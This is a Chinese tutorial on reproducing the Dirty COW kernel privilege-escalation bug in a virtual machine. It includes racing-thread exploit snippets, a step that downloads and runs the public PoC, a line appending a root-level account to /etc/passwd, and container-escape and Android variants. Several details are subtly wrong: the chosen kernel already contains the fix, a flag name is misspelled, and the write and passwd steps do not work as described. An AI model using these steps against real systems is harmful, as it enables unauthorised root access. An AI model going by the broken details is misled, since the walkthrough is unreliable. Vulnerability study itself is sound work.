实战复现Dirty COW:在Ubuntu 20.04上重现Linux内核提权漏洞
在安全研究领域,没有什么比亲手复现一个经典漏洞更能深入理解其原理了。Dirty COW(CVE-2016-5195)作为Linux内核历史上最著名的漏洞之一,因其广泛影响和巧妙利用方式而闻名。本文将带你从零开始,在Ubuntu 20.04环境中完整复现这个漏洞,不仅理解其技术本质,更掌握实际利用技巧。
1. 实验环境准备
复现任何漏洞的第一步都是搭建安全的实验环境。由于我们要操作的是内核级漏洞,强烈建议在虚拟机中完成所有实验。以下是详细的环境配置步骤:
推荐配置:
- VMware Workstation 16+/VirtualBox 6.1+
- Ubuntu 20.04 LTS (内核版本4.15.0-54-generic)
- 2核CPU/4GB内存/20GB磁盘空间
- 普通用户账户(非root)
注意:虽然Dirty COW在2016年已被修复,但为了复现,我们需要安装特定版本的内核。执行以下命令降级内核:
# 查看当前内核版本 uname -r # 添加旧内核仓库 sudo add-apt-repository ppa:canonical-kernel-team/proposed sudo apt update # 安装特定版本内核 sudo apt install linux-image-4.15.0-54-generic linux-headers-4.15.0-54-generic # 重启后选择旧内核启动 sudo reboot验证内核版本时,确保显示4.15.0-54-generic。如果遇到GRUB菜单不显示的问题,可能需要修改/etc/default/grub文件:
GRUB_TIMEOUT_STYLE=menu GRUB_TIMEOUT=10然后执行sudo update-grub并重启。
2. 漏洞原理精要
Dirty COW的核心是Linux内存管理子系统中的竞态条件漏洞。要真正理解这个漏洞,需要掌握几个关键概念:
写时复制(COW)机制:
- 当进程通过
mmap以MAP_PRIVATE方式映射文件时,初始所有进程共享同一物理内存页 - 任一进程尝试写入时,内核会:
- 分配新物理页
- 复制原内容到新页
- 更新页表指向新页
- 最后才执行实际写入操作
竞态条件窗口:
- 上述三个步骤非原子操作
- 如果在步骤2完成后、步骤3执行前,另一线程调用
madvise(MADV_DONOTNEED)... - 内核会丢弃新分配的页,将页表重新指向原始共享页
- 但写入操作仍会继续,最终修改原始共享页!
下表对比了正常流程与漏洞触发时的差异:
| 步骤 | 正常COW流程 | Dirty COW触发场景 |
|---|---|---|
| 1 | 进程A尝试写入私有映射 | 同左 |
| 2 | 内核分配新物理页B | 同左 |
| 3 | 更新页表指向B | 同左 |
| 4 | 写入数据到B | 进程B调用madvise丢弃B |
| 5 | - | 页表重新指向原始页A |
| 6 | - | 写入操作继续,修改原始页A |
3. 漏洞利用实战
现在我们来实际编译和执行漏洞利用代码。经典的PoC通常包含两个竞争线程:
// cow_attack.c 关键代码片段 void *write_thread(void *arg) { while (!stop) { // 不断尝试写入映射区域 lseek(f, 0, SEEK_SET); write(f, exploit_str, strlen(exploit_str)); } } void *madvise_thread(void *arg) { while (!stop) { // 不断丢弃私有映射 madvise(map, MAP_SIZE, MADV_DONOTNEED); } }编译与执行步骤:
- 首先准备测试文件:
echo "This is a protected file" | sudo tee /tmp/test_file sudo chmod 644 /tmp/test_file- 下载并编译PoC代码:
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c gcc -pthread dirtyc0w.c -o dirtyc0w- 执行攻击(普通用户权限):
./dirtyc0w /tmp/test_file "HACKED BY DIRTY COW"成功时你将看到文件内容被修改,尽管没有写权限。更危险的利用是修改/etc/passwd:
# 备份密码文件 sudo cp /etc/passwd /tmp/passwd.bak # 添加特权用户 echo 'dirtycow:$1$dirtycow$X0w3aEfqJFppQd2Z5G0/:0:0::/root:/bin/bash' >> /etc/passwd # 使用su切换 su dirtycow重要安全提示:实验完成后务必执行以下操作:
- 立即升级内核:
sudo apt install --only-upgrade linux-image-generic- 删除创建的特权账户
- 恢复所有被修改的系统文件
4. 现代防护机制分析
虽然原始漏洞已被修复,但研究防护机制同样具有教育意义。现代Linux系统采用了多种防御措施:
内核修复方案:
- 在
__get_user_pages函数中添加了FOLL_COW标志 - 引入
follow_page_mask检查确保COW完整性 - 增加内存映射锁的粒度
系统加固建议:
- 及时更新内核补丁
- 限制用户命名空间(
sysctl kernel.unprivileged_userns_clone=0) - 使用grsecurity等增强内核
- 监控敏感文件修改(如通过inotify)
下表对比了不同发行版的修复时间:
| 发行版 | 修复版本 | 发布时间 |
|---|---|---|
| Ubuntu 16.04 | 4.4.0-45.66 | 2016-10-20 |
| RHEL 7 | 3.10.0-327.36.3 | 2016-10-25 |
| Debian 8 | 3.16.36-1 | 2016-11-12 |
5. 深入调试技巧
对于想更深入研究的学习者,可以使用gdb和内核调试工具观察漏洞触发过程:
- 首先启用内核调试符号:
sudo apt install linux-image-$(uname -r)-dbgsym- 使用gdb附加到内核:
sudo gdb /usr/lib/debug/boot/vmlinux-$(uname -r)- 关键断点设置:
break __get_user_pages break handle_mm_fault- 观察内存映射变化:
watch -l *(unsigned long *)0x7ffff7ff8000在实际调试中,你会发现漏洞触发的精确时机非常难以捕捉——这正是竞态条件漏洞的典型特征。可能需要数百次尝试才能成功触发一次,这也解释了为什么这个漏洞能潜伏近十年。
6. 扩展实验与变种研究
掌握了基础利用后,可以尝试以下进阶实验:
1. 容器环境逃逸:
# 在容器内执行 docker run --rm -it ubuntu:16.04 bash apt update && apt install -y gcc # 编译并执行PoC...2. Android平台复现:
- 需要找内核版本3.18以下的Android设备
- 使用NDK交叉编译PoC
- 通过adb推送并执行
3. 编写自己的利用代码: 尝试用Python实现竞争逻辑:
import mmap import threading def race_condition(): with open("/tmp/test", "r+b") as f: mm = mmap.mmap(f.fileno(), 0, flags=mmap.MAP_PRIVATE) # 创建竞争线程...这些实验能帮助你更深入理解漏洞的通用性和特殊性。我在实际测试中发现,成功率受CPU核心数、调度策略等因素影响很大,这也是为什么在虚拟机中复现更容易成功——你可以精确控制CPU资源分配。